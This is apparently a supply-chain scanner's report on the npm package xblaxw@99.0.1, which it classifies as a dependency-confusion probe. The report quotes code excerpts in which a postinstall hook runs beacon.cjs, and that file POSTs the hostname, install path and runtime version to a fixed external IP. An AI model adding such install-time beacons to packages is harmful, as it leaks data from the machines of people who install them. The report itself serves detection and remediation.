xblaxw@99.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package performs unsolicited network transmission during installation, exposing host and environment metadata to an unrelated fixed endpoint. The import side effect provides an additional trigger for the same behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm postinstall, or importing index.js.
Impact
The endpoint receives the machine hostname and package environment paths and runtime version.
Mechanism
beacon.cjs builds a metadata payload and sends it in an HTTP POST to a fixed IP address.
Attack narrative
The postinstall hook launches beacon.cjs, which sends machine and package environment metadata to a fixed external IP over HTTP. Importing the package triggers the same beacon. This is active, automatic data exfiltration.
AI rationale
The package performs unsolicited network transmission during installation, exposing host and environment metadata to an unrelated fixed endpoint. The import side effect provides an additional trigger for the same behavior.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically from its postinstall lifecycle hook.
- The beacon uses HTTP to send a POST to a fixed external IP address.
- The payload includes the machine hostname, package install path, working directory, and runtime version.
- Importing the package also fires the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically from its postinstall lifecycle hook.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "xblaxw";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to xblaxw@99.0.1.
See all versions of xblaxw for other recorded verdicts.
- Avoid installing xblaxw@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.